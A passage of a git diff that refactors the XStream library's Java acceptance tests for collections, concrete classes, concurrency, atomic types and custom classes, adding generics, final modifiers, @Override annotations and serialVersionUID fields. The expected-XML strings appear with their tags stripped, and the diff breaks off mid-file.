xstream.alias("software", Software.class); xstream.alias("hardware", Hardware.class); - String expected = "" + - "\n" + - " \n" + - " \n" + - " apache\n" + - " geronimo\n" + - " \n" + - " \n" + - " caucho\n" + - " resin\n" + - " \n" + - " \n" + - " risc\n" + - " strong-arm\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " apache\n" + - " jserv\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " apache\n" + + " geronimo\n" + + " \n" + + " \n" + + " caucho\n" + + " resin\n" + + " \n" + + " \n" + + " risc\n" + + " strong-arm\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " apache\n" + + " jserv\n" + + " \n" + + " \n" + + ""; assertBothWays(lists, expected); } public void testListsCanContainBasicObjects() { - SampleLists lists = new SampleLists(); + final SampleLists lists = new SampleLists<>(); lists.good.add("hello"); - lists.good.add(new Integer(3)); + lists.good.add(Integer.valueOf(3)); lists.good.add(Boolean.TRUE); xstream.alias("lists", SampleLists.class); - String expected = "" + - "\n" + - " \n" + - " hello\n" + - " 3\n" + - " true\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " hello\n" + + " 3\n" + + " true\n" + + " \n" + + " \n" + + ""; assertBothWays(lists, expected); } public void testListCanBeRootObject() { - Collection list = new ArrayList(); + final Collection list = new ArrayList<>(); list.add("hi"); list.add("bye"); - String expected = "" + - "\n" + - " hi\n" + - " bye\n" + - ""; + final String expected = "" // + + "\n" + + " hi\n" + + " bye\n" + + ""; assertBothWays(list, expected); } public void testSetCanBeRootObject() { - Collection set = new HashSet(); + final Collection set = new HashSet<>(); set.add("hi"); set.add("bye"); - String expected = "" + - "\n" + - " hi\n" + - " bye\n" + - ""; + final String expected = "" // + + "\n" + + " hi\n" + + " bye\n" + + ""; assertBothWaysNormalized(set, expected, "set", "string", null); } public void testVector() { - Vector vector = new Vector(); + final Vector vector = new Vector<>(); vector.addElement("a"); vector.addElement("b"); - assertBothWays(vector, - "\n" + - " a\n" + - " b\n" + - ""); + assertBothWays(vector, ""// + + "\n" + + " a\n" + + " b\n" + + ""); } public void testSyncronizedList() { - final String xml = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " hi\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String xml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " hi\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; // synchronized list has circular reference xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES); - List list = Collections.synchronizedList(new LinkedList()); + final List list = Collections.synchronizedList(new LinkedList()); list.add("hi"); assertBothWays(list, xml); } public void testSyncronizedArrayList() { - final String xml = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " hi\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String xml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " hi\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; // synchronized list has circular reference xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES); - List list = Collections.synchronizedList(new ArrayList()); + final List list = Collections.synchronizedList(new ArrayList()); list.add("hi"); assertBothWays(list, xml); @@ -187,32 +188,34 @@ public void testSyncronizedArrayList() { public void testEmptyList() { assertBothWays(Collections.EMPTY_LIST, ""); + assertBothWays(Collections.emptyList(), ""); } public void testEmptySet() { assertBothWays(Collections.EMPTY_SET, ""); + assertBothWays(Collections.emptySet(), ""); } public void testEmptyListIsImmutable() { - List list = new ArrayList(); + final List> list = new ArrayList<>(); list.add(Collections.EMPTY_LIST); list.add(Collections.EMPTY_LIST); - assertBothWays(list, - "\n" + - " \n" + - " \n" + - ""); + assertBothWays(list, ""// + + "\n" + + " \n" + + " \n" + + ""); } public void testEmptySetIsImmutable() { - List list = new ArrayList(); + final List> list = new ArrayList<>(); list.add(Collections.EMPTY_SET); list.add(Collections.EMPTY_SET); - assertBothWays(list, - "\n" + - " \n" + - " \n" + - ""); + assertBothWays(list, ""// + + "\n" + + " \n" + + " \n" + + ""); } public void testEmptyListIsSingleton() { @@ -222,149 +225,149 @@ public void testEmptyListIsSingleton() { public void testEmptySetIsSingleton() { assertSame(Collections.EMPTY_SET, xstream.fromXML("")); } - + public void testSingletonList() { - assertBothWays(Collections.singletonList("XStream"), - "\n" + - " XStream\n" + - ""); + assertBothWays(Collections.singletonList("XStream"), ""// + + "\n" + + " XStream\n" + + ""); } - + public void testSingletonSet() { - assertBothWays(Collections.singleton("XStream"), - "\n" + - " XStream\n" + - ""); + assertBothWays(Collections.singleton("XStream"), ""// + + "\n" + + " XStream\n" + + ""); } public void testPropertiesWithDefaults() { - Properties defaults = new Properties(); + final Properties defaults = new Properties(); defaults.setProperty("1", "one"); defaults.setProperty("2", "two"); - Properties properties = new Properties(defaults); + final Properties properties = new Properties(defaults); properties.setProperty("1", "I"); properties.setProperty("3", "III"); - assertBothWaysNormalized(properties, - "\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - "", "properties", "property", "@name"); + assertBothWaysNormalized(properties, ""// + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + "", "properties", "property", "@name"); } - + public void testUnmodifiableList() { // unmodifiable list has duplicate references xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES); - List list = new ArrayList(); + List list = new ArrayList<>(); list.add("hi"); list = Collections.unmodifiableList(list); - assertBothWays(list, - "\n" + - " \n" + - " hi\n" + - " \n" + - " \n" + - ""); + assertBothWays(list, "" + + "\n" + + " \n" + + " hi\n" + + " \n" + + " \n" + + ""); } public void testLinkedHashSetRetainsOrdering() { - Set set = new LinkedHashSet(); + final Set set = new LinkedHashSet<>(); set.add("Z"); set.add("C"); set.add("X"); - LinkedHashSet result = (LinkedHashSet) assertBothWays(set, - "\n" + - " Z\n" + - " C\n" + - " X\n" + - ""); + final LinkedHashSet result = assertBothWays(set, ""// + + "\n" + + " Z\n" + + " C\n" + + " X\n" + + ""); - Object[] values = result.toArray(); + final Object[] values = result.toArray(); assertEquals("Z", values[0]); assertEquals("C", values[1]); assertEquals("X", values[2]); } public void testListFromArrayAsList() { - List list = Arrays.asList(new String[] {"hi", "bye"}); - - assertBothWays(list, - "\n" + - " \n" + - " hi\n" + - " bye\n" + - " \n" + - ""); + final List list = Arrays.asList("hi", "bye"); + + assertBothWays(list, ""// + + "\n" + + " \n" + + " hi\n" + + " bye\n" + + " \n" + + ""); } - + public void testKeySetOfHashMapCanBeSerialized() { - final Map map = new HashMap(); + final Map map = new HashMap<>(); map.put("JUnit", null); - final Collection set = map.keySet(); + final Collection set = map.keySet(); xstream.alias("key-set", set.getClass()); - assertBothWays(set, - "\n" + - " \n" + - " \n" + - " JUnit\n" + - " \n" + - " \n" + - " \n" + - ""); + assertBothWays(set, ""// + + "\n" + + " \n" + + " \n" + + " JUnit\n" + + " \n" + + " \n" + + " \n" + + ""); } public void testValueSetOfHashMapCanBeSerialized() { - final Map map = new HashMap(); + final Map map = new HashMap<>(); map.put(Boolean.TRUE, "JUnit"); - final Collection set = map.values(); + final Collection set = map.values(); xstream.alias("value-set", set.getClass()); - assertBothWays(set, - "\n" + - " \n" + - " \n" + - " true\n" + - " JUnit\n" + - " \n" + - " \n" + - ""); + assertBothWays(set, ""// + + "\n" + + " \n" + + " \n" + + " true\n" + + " JUnit\n" + + " \n" + + " \n" + + ""); } public void testEntrySetOfHashMapCanBeSerialized() { - final Map map = new HashMap(); + final Map map = new HashMap<>(); map.put(Boolean.TRUE, "JUnit"); - final Collection set = map.entrySet(); + final Collection> set = map.entrySet(); xstream.alias("entry-set", set.getClass()); - if (System.getProperty("java.vm.vendor").indexOf("IBM") >= 0) { - assertBothWays(set, - "\n" + - " \n" + - " \n" + - " true\n" + - " JUnit\n" + - " \n" + - " \n" + - ""); + if (System.getProperty("java.vm.vendor").contains("IBM")) { + assertBothWays(set, ""// + + "\n" + + " \n" + + " \n" + + " true\n" + + " JUnit\n" + + " \n" + + " \n" + + ""); } else { - assertBothWays(set, - "\n" + - " \n" + - " \n" + - " true\n" + - " JUnit\n" + - " \n" + - " \n" + - ""); + assertBothWays(set, ""// + + "\n" + + " \n" + + " \n" + + " true\n" + + " JUnit\n" + + " \n" + + " \n" + + ""); } } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/ConcreteClassesTest.java b/xstream/src/test/com/thoughtworks/acceptance/ConcreteClassesTest.java index 711e7fa20..3d5e95fee 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ConcreteClassesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ConcreteClassesTest.java @@ -1,22 +1,23 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2008 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance; +import java.util.ArrayList; +import java.util.LinkedList; + import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.acceptance.someobjects.WithList; import com.thoughtworks.xstream.converters.ConversionException; -import java.util.ArrayList; -import java.util.LinkedList; public class ConcreteClassesTest extends AbstractAcceptanceTest { @@ -24,13 +25,13 @@ public void testDefaultImplementationOfInterface() { xstream.alias("with-list", WithList.class); - WithList withList = new WithList(); - withList.things = new ArrayList(); + final WithList withList = new WithList<>(); + withList.things = new ArrayList<>(); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(withList, expected); @@ -41,30 +42,32 @@ public void testAlternativeImplementationOfInterface() { xstream.alias("with-list", WithList.class); xstream.alias("linked-list", LinkedList.class); - WithList withList = new WithList(); - withList.things = new LinkedList(); + final WithList withList = new WithList<>(); + withList.things = new LinkedList<>(); - String expected = - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(withList, expected); } - interface MyInterface { - } + interface MyInterface {} public static class MyImp1 extends StandardObject implements MyInterface { + private static final long serialVersionUID = 200309L; int x = 1; } public static class MyImp2 extends StandardObject implements MyInterface { + private static final long serialVersionUID = 200309L; int y = 2; } public static class MyHolder extends StandardObject { + private static final long serialVersionUID = 200309L; MyInterface field1; MyInterface field2; } @@ -75,33 +78,33 @@ public void testCustomInterfaceCanHaveMultipleImplementations() { xstream.alias("imp2", MyImp2.class); xstream.alias("h", MyHolder.class); - MyHolder in = new MyHolder(); + final MyHolder in = new MyHolder(); in.field1 = new MyImp1(); in.field2 = new MyImp2(); - String expected = "" + - "\n" + - " \n" + - " 1\n" + - " \n" + - " \n" + - " 2\n" + - " \n" + - ""; - - String xml = xstream.toXML(in); + final String expected = "" + + "\n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + " 2\n" + + " \n" + + ""; + + final String xml = xstream.toXML(in); assertEquals(expected, xml); - MyHolder out = (MyHolder) xstream.fromXML(xml); + final MyHolder out = xstream.fromXML(xml); assertEquals(MyImp1.class, out.field1.getClass()); assertEquals(MyImp2.class, out.field2.getClass()); - assertEquals(2, ((MyImp2) out.field2).y); + assertEquals(2, ((MyImp2)out.field2).y); } public void testUnknownChildMatchingATypeThrowsConversionException() { xstream.alias("h", MyHolder.class); - String xml = "" + final String xml = "" // + "\n" + " 100\n" + ""; diff --git a/xstream/src/test/com/thoughtworks/acceptance/ConcurrencyTest.java b/xstream/src/test/com/thoughtworks/acceptance/ConcurrencyTest.java index 0e380244a..450e052e0 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ConcurrencyTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ConcurrencyTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2006, 2007, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. March 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; @@ -29,24 +29,26 @@ public void testConcurrentXStreaming() throws InterruptedException { xstream.alias("thing", WithNamedList.class); xstream.addImplicitCollection(WithNamedList.class, "things"); - final List reference = new ArrayList(Arrays.asList(new String[]{"A", "B", "C", "D"})); - final WithNamedList[] namedLists = new WithNamedList[5]; + final List reference = new ArrayList<>(Arrays.asList(new String[]{"A", "B", "C", "D"})); + @SuppressWarnings("unchecked") + final WithNamedList[] namedLists = new WithNamedList[5]; for (int i = 0; i < namedLists.length; ++i) { - namedLists[i] = new WithNamedList("Name " + (i + 1)); + namedLists[i] = new WithNamedList("Name " + (i + 1)); namedLists[i].things.add(new Software("walnes", "XStream 1." + i)); namedLists[i].things.add(reference); namedLists[i].things.add(new RuntimeException("JUnit " + i)); // a Serializable } - final Map exceptions = new HashMap(); + final Map exceptions = new HashMap<>(); final ThreadGroup tg = new ThreadGroup(getName()) { - public void uncaughtException(Thread t, Throwable e) { + @Override + public void uncaughtException(final Thread t, final Throwable e) { exceptions.put(e, t.getName()); super.uncaughtException(t, e); } }; - final Object object = new ArrayList(Arrays.asList(namedLists)); + final Object object = new ArrayList<>(Arrays.asList(namedLists)); final String xml = xstream.toXML(object); final int[] counter = new int[1]; counter[0] = 0; @@ -54,6 +56,7 @@ public void uncaughtException(Thread t, Throwable e) { for (int i = 0; i < threads.length; ++i) { threads[i] = new Thread(tg, "JUnit Thread " + i) { + @Override public void run() { int i = 0; try { @@ -65,7 +68,7 @@ public void run() { assertBothWays(object, xml); ++i; } - } catch (InterruptedException e) { + } catch (final InterruptedException e) { fail("Unexpected InterruptedException"); } synchronized (counter) { @@ -76,27 +79,27 @@ public void run() { }; } - for (int i = 0; i < threads.length; ++i) { - synchronized (threads[i]) { - threads[i].start(); - threads[i].wait(); + for (final Thread thread : threads) { + synchronized (thread) { + thread.start(); + thread.wait(); } } - for (int i = 0; i < threads.length; ++i) { - synchronized (threads[i]) { - threads[i].notifyAll(); + for (final Thread thread : threads) { + synchronized (thread) { + thread.notifyAll(); } } Thread.sleep(1000); - for (int i = 0; i < threads.length; ++i) { - threads[i].interrupt(); + for (final Thread thread : threads) { + thread.interrupt(); } - for (int i = 0; i < threads.length; ++i) { - synchronized (threads[i]) { - threads[i].join(); + for (final Thread thread : threads) { + synchronized (thread) { + thread.join(); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/Concurrent15TypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/Concurrent15TypesTest.java deleted file mode 100644 index b03598cc7..000000000 --- a/xstream/src/test/com/thoughtworks/acceptance/Concurrent15TypesTest.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright (C) 2012, 2015, 2017 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 21. March 2012 by Joerg Schaible - */ -package com.thoughtworks.acceptance; - -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; - -import com.thoughtworks.xstream.converters.collections.MapConverter; -import com.thoughtworks.xstream.core.JVM; - - -public class Concurrent15TypesTest extends AbstractAcceptanceTest { - - public void testConcurrentHashMap() { - ConcurrentHashMap map = new ConcurrentHashMap(); - map.put("walnes", "joe"); - String xml = xstream.toXML(map); - String expected = "" - + "\n" - + " \n" - + " walnes\n" - + " joe\n" - + " \n" - + ""; - assertEquals(xml, expected); - @SuppressWarnings("unchecked") - ConcurrentHashMap out = (ConcurrentHashMap)xstream.fromXML(xml); - assertEquals("{walnes=joe}", out.toString()); - } - - public static class DerivedConcurrentHashMap extends ConcurrentHashMap { - private static final long serialVersionUID = 1L; - } - - public void testDerivedConcurrentHashMap() { - if (JVM.is18()) { - xstream.alias("derived-map", DerivedConcurrentHashMap.class); - xstream.registerConverter(new MapConverter(xstream.getMapper(), DerivedConcurrentHashMap.class)); - - Map map = new DerivedConcurrentHashMap(); - map.put("test", "JUnit"); - - String xml = "" - + "\n" - + " \n" - + " test\n" - + " JUnit\n" - + " \n" - + ""; - - assertBothWays(map, xml); - } - } -} diff --git a/xstream/src/test/com/thoughtworks/acceptance/ConcurrentTypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/ConcurrentTypesTest.java new file mode 100644 index 000000000..a53afd9b2 --- /dev/null +++ b/xstream/src/test/com/thoughtworks/acceptance/ConcurrentTypesTest.java @@ -0,0 +1,142 @@ +/* + * Copyright (C) 2012, 2015, 2017, 2018, 2021, 2022, 2023 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 17. July 2018 by Joerg Schaible, renamed from Concurrent15TypesTest + */ +package com.thoughtworks.acceptance; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicLong; +import java.util.concurrent.atomic.AtomicReference; + +import com.thoughtworks.acceptance.objects.Original; +import com.thoughtworks.acceptance.objects.Replaced; +import com.thoughtworks.xstream.converters.collections.MapConverter; + + +public class ConcurrentTypesTest extends AbstractAcceptanceTest { + + public void testConcurrentHashMap() { + final ConcurrentHashMap map = new ConcurrentHashMap<>(); + map.put("walnes", "joe"); + final String xml = xstream.toXML(map); + final String expected = "" + + "\n" + + " \n" + + " walnes\n" + + " joe\n" + + " \n" + + ""; + assertEquals(xml, expected); + final ConcurrentHashMap out = xstream.fromXML(xml); + assertEquals("{walnes=joe}", out.toString()); + } + + public static class DerivedConcurrentHashMap extends ConcurrentHashMap { + private static final long serialVersionUID = 1L; + } + + public void testDerivedConcurrentHashMap() { + xstream.alias("derived-map", DerivedConcurrentHashMap.class); + xstream.registerConverter(new MapConverter(xstream.getMapper(), DerivedConcurrentHashMap.class)); + + final Map map = new DerivedConcurrentHashMap(); + map.put("test", "JUnit"); + + final String xml = "" + + "\n" + + " \n" + + " test\n" + + " JUnit\n" + + " \n" + + ""; + + assertBothWays(map, xml); + } + + public void testAtomicBoolean() { + final AtomicBoolean atomicBoolean = new AtomicBoolean(); + assertBothWays(atomicBoolean, "" + atomicBoolean + ""); + } + + public void testAtomicBooleanWithOldFormat() { + assertEquals(new AtomicBoolean(true).toString(), xstream.fromXML("" // + + "\n" // + + " 1\n" // + + "").toString()); + } + + public void testAtomicInteger() { + final AtomicInteger atomicInteger = new AtomicInteger(42); + assertBothWays(atomicInteger, "" + atomicInteger + ""); + } + + public void testAtomicIntegerWithOldFormat() { + assertEquals(new AtomicInteger(42).toString(), xstream.fromXML("" // + + "\n" // + + " 42\n" // + + "").toString()); + } + + public void testAtomicLong() { + final AtomicLong atomicLong = new AtomicLong(42); + assertBothWays(atomicLong, "" + atomicLong + ""); + } + + public void testAtomicLongWithOldFormat() { + assertEquals(new AtomicInteger(42).toString(), xstream.fromXML("" // + + "\n" // + + " 42\n" // + + "").toString()); + } + + public void testAtomicReference() { + final AtomicReference atomicRef = new AtomicReference<>("test"); + assertBothWays(atomicRef, ("" // + + "\n" // + + " test\n" // + + "").replace('\'', '"')); + } + + @SuppressWarnings("unchecked") + public void testAtomicReferenceWithOldFormat() { + assertEquals(new AtomicReference<>("test").get(), ((AtomicReference)xstream.fromXML("" // + + "\n" // + + " test\n" // + + "")).get()); + } + + public void testEmptyAtomicReference() { + final AtomicReference atomicRef = new AtomicReference<>(); + assertBothWays(atomicRef, ""); + } + + public void testAtomicReferenceWithAlias() { + xstream.aliasField("junit", AtomicReference.class, "value"); + final AtomicReference atomicRef = new AtomicReference<>("test"); + assertBothWays(atomicRef, ("" // + + "\n" // + + " test\n" // + + "").replace('\'', '"')); + } + + public void testAtomicReferenceWithReplaced() { + xstream.alias("original", Original.class); + xstream.alias("replaced", Replaced.class); + final AtomicReference atomicRef = new AtomicReference<>(new Original("test")); + assertBothWays(atomicRef, ("" // + + "\n" // + + " \n" + + " TEST\n" + + " \n" // + + "").replace('\'', '"')); + } +} diff --git a/xstream/src/test/com/thoughtworks/acceptance/CustomClassesTest.java b/xstream/src/test/com/thoughtworks/acceptance/CustomClassesTest.java index eeac6892e..3a9c678be 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CustomClassesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CustomClassesTest.java @@ -1,25 +1,27 @@ /* * Copyright (C) 2003, 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.acceptance; +import java.io.StringReader; + import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.converters.reflection.ReflectionConverter; -import com.thoughtworks.xstream.io.xml.XppReader; +import com.thoughtworks.xstream.core.util.DefaultDriver; -import java.io.StringReader; public class CustomClassesTest extends AbstractAcceptanceTest { public static class SamplePerson extends StandardObject { + private static final long serialVersionUID = 200309L; int anInt; String firstName; String lastName; @@ -27,33 +29,37 @@ public static class SamplePerson extends StandardObject { } public void testCustomObjectWithBasicFields() { - xstream.alias("friend", SamplePerson.class); - SamplePerson person = new SamplePerson(); + final SamplePerson person = new SamplePerson(); person.anInt = 3; person.firstName = "Joe"; person.lastName = "Walnes"; - String expected = - "\n" + - " 3\n" + - " Joe\n" + - " Walnes\n" + - ""; + final String expected = "" + + "\n" + + " 3\n" + + " Joe\n" + + " Walnes\n" + + ""; assertBothWays(person, expected); - } public static class SamplePersonHolder { String aString; SamplePerson brother; - public boolean equals(Object obj) { - SamplePersonHolder containerObject = (SamplePersonHolder) obj; + @Override + public boolean equals(final Object obj) { + final SamplePersonHolder containerObject = (SamplePersonHolder)obj; return (aString == null ? containerObject.aString == null : aString.equals(containerObject.aString)) - && brother.equals(containerObject.brother); + && brother.equals(containerObject.brother); + } + + @Override + public int hashCode() { + return (aString == null ? 0 : aString.hashCode()) | (brother == null ? 0 : brother.hashCode()); } } @@ -61,79 +67,77 @@ public void testCustomObjectWithCustomObjectField() { xstream.alias("friend", SamplePerson.class); xstream.alias("personHolder", SamplePersonHolder.class); - SamplePersonHolder personHolder = new SamplePersonHolder(); + final SamplePersonHolder personHolder = new SamplePersonHolder(); personHolder.aString = "hello world"; - SamplePerson person = new SamplePerson(); + final SamplePerson person = new SamplePerson(); person.anInt = 3; person.firstName = "Joe"; person.lastName = "Walnes"; personHolder.brother = person; - String expected = - "\n" + - " hello world\n" + - " \n" + - " 3\n" + - " Joe\n" + - " Walnes\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " hello world\n" + + " \n" + + " 3\n" + + " Joe\n" + + " Walnes\n" + + " \n" + + ""; assertBothWays(personHolder, expected); - } public void testCustomObjectWithCustomObjectFieldsSetToNull() { xstream.alias("friend", SamplePerson.class); xstream.alias("personHolder", SamplePersonHolder.class); - SamplePersonHolder personHolder = new SamplePersonHolder(); + final SamplePersonHolder personHolder = new SamplePersonHolder(); personHolder.aString = null; - SamplePerson person = new SamplePerson(); + final SamplePerson person = new SamplePerson(); person.anInt = 3; person.firstName = "Joe"; person.lastName = null; personHolder.brother = person; - String expected = - "\n" + - " \n" + - " 3\n" + - " Joe\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " 3\n" + + " Joe\n" + + " \n" + + ""; assertBothWays(personHolder, expected); - } public void testCustomObjectCanBeInstantiatedExternallyBeforeDeserialization() { xstream.alias("friend", SamplePerson.class); xstream.alias("personHolder", SamplePersonHolder.class); - String xml = - "\n" + - " hello world\n" + - " \n" + - " 3\n" + - " Joe\n" + - " Walnes\n" + - " \n" + - ""; + final String xml = "" + + "\n" + + " hello world\n" + + " \n" + + " 3\n" + + " Joe\n" + + " Walnes\n" + + " \n" + + ""; // execute - SamplePersonHolder alreadyInstantiated = new SamplePersonHolder(); - xstream.unmarshal(new XppReader(new StringReader(xml)), alreadyInstantiated); + final SamplePersonHolder alreadyInstantiated = new SamplePersonHolder(); + xstream.unmarshal(DefaultDriver.create().createReader(new StringReader(xml)), alreadyInstantiated); // verify - SamplePersonHolder expectedResult = new SamplePersonHolder(); + final SamplePersonHolder expectedResult = new SamplePersonHolder(); expectedResult.aString = "hello world"; - SamplePerson expectedPerson = new SamplePerson(); + final SamplePerson expectedPerson = new SamplePerson(); expectedPerson.anInt = 3; expectedPerson.firstName = "Joe"; expectedPerson.lastName = "Walnes"; @@ -143,102 +147,97 @@ public void testCustomObjectCanBeInstantiatedExternallyBeforeDeserialization() { } public void testCustomObjectWillNotUnmarshalTransientFields() { - xstream.alias("friend", SamplePerson.class); - String xml = - "\n" + - " 3\n" + - " Joe\n" + - " Walnes\n" + - " XStream Despot\n" + - ""; + final String xml = "\n" + + " 3\n" + + " Joe\n" + + " Walnes\n" + + " XStream Despot\n" + + ""; - SamplePerson person = (SamplePerson)xstream.fromXML(xml); + final SamplePerson person = xstream.fromXML(xml); assertNull(person.aComment); } - + static class Joe extends SamplePerson { + private static final long serialVersionUID = 200703L; boolean aBoolean; } public void testCustomObjectWillNotUnmarshalInheritedTransientFields() { - xstream.alias("joe", Joe.class); - String xml = - "\n" + - " 3\n" + - " Joe\n" + - " Walnes\n" + - " XStream Despot\n" + - " true\n" + - ""; + final String xml = "" + + "\n" + + " 3\n" + + " Joe\n" + + " Walnes\n" + + " XStream Despot\n" + + " true\n" + + ""; - Joe joe = (Joe)xstream.fromXML(xml); + final Joe joe = xstream.fromXML(xml); assertNull(joe.aComment); } public void testCustomObjectWillNotUnmarshalTransientFieldsFromAttributes() { - xstream.alias("friend", SamplePerson.class); - String xml = - "\n" + - " 3\n" + - " Joe\n" + - " Walnes\n" + - ""; + final String xml = "" + + "\n" + + " 3\n" + + " Joe\n" + + " Walnes\n" + + ""; // without attribute definition - SamplePerson person = (SamplePerson)xstream.fromXML(xml); + SamplePerson person = xstream.fromXML(xml); assertNull(person.aComment); xstream.useAttributeFor("aComment", String.class); // with attribute definition - person = (SamplePerson)xstream.fromXML(xml); + person = xstream.fromXML(xml); assertNull(person.aComment); } public void testNullObjectsDoNotHaveFieldsWritten() { - xstream.alias("cls", WithSomeFields.class); - WithSomeFields obj = new WithSomeFields(); - - String expected = ""; - + final WithSomeFields obj = new WithSomeFields(); + final String expected = ""; assertBothWays(obj, expected); } public void testEmptyStringsAreNotTreatedAsNulls() { xstream.alias("cls", WithSomeFields.class); - WithSomeFields obj = new WithSomeFields(); + final WithSomeFields obj = new WithSomeFields(); obj.b = ""; - String expected = "" + - "\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " \n" + + ""; assertBothWays(obj, expected); } public static class WithSomeFields extends StandardObject { + private static final long serialVersionUID = 200310L; Object a; String b; } public void testNullsAreDistinguishedFromEmptyStrings() { - LotsOfStrings in = new LotsOfStrings(); + final LotsOfStrings in = new LotsOfStrings(); in.a = "."; in.b = ""; in.c = null; - String xml = xstream.toXML(in); - LotsOfStrings out = (LotsOfStrings) xstream.fromXML(xml); + final String xml = xstream.toXML(in); + final LotsOfStrings out = xstream.fromXML(xml); assertEquals(".", out.a); assertEquals("", out.b); @@ -252,56 +251,54 @@ public static class LotsOfStrings { } public void testFieldWithObjectType() { - String expected = "" + - "\n" + - " 1.0\n" + - " 2.0\n" + - ""; + final String expected = "" + + "\n" + + " 1.0\n" + + " 2.0\n" + + ""; xstream.alias("thing", FieldWithObjectType.class); assertBothWays(new FieldWithObjectType(), expected); } public static class FieldWithObjectType extends StandardObject { + private static final long serialVersionUID = 200403L; Double one = new Double(1.0); Object two = new Double(2.0); } public void testFailsFastIfFieldIsDefinedTwice() { - String input = "" + - "\n" + - " 1.0\n" + - " 2.0\n" + - ""; + final String input = "" // + + "\n" + + " 1.0\n" + + " 2.0\n" + + ""; xstream.alias("thing", FieldWithObjectType.class); try { - xstream.fromXML(input); fail("Expected exception"); - - } catch (ReflectionConverter.DuplicateFieldException expected) { + } catch (final ReflectionConverter.DuplicateFieldException expected) { assertEquals("one", expected.get("field")); } } - + public static class TransientInitializingClass extends StandardObject { + private static final long serialVersionUID = 200603L; private transient String s = ""; + private Object readResolve() { - this.s = "foo"; + s = "foo"; return this; } } public void testCustomObjectWithTransientFieldInitialization() { - xstream.alias("tran", TransientInitializingClass.class); - TransientInitializingClass tran = new TransientInitializingClass(); - - String expected = ""; - - TransientInitializingClass serialized = (TransientInitializingClass)assertBothWays(tran, expected); + final TransientInitializingClass tran = new TransientInitializingClass(); + final String expected = ""; + final TransientInitializingClass serialized = assertBothWays(tran, expected); assertEquals("foo", serialized.s); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/CustomConverterTest.java b/xstream/src/test/com/thoughtworks/acceptance/CustomConverterTest.java index be82478af..3a291d411 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/CustomConverterTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/CustomConverterTest.java @@ -1,23 +1,24 @@ /* - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 17. March 2006 by Joerg Schaible */ package com.thoughtworks.acceptance; +import java.text.DecimalFormat; +import java.text.ParseException; + import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.converters.SingleValueConverter; -import 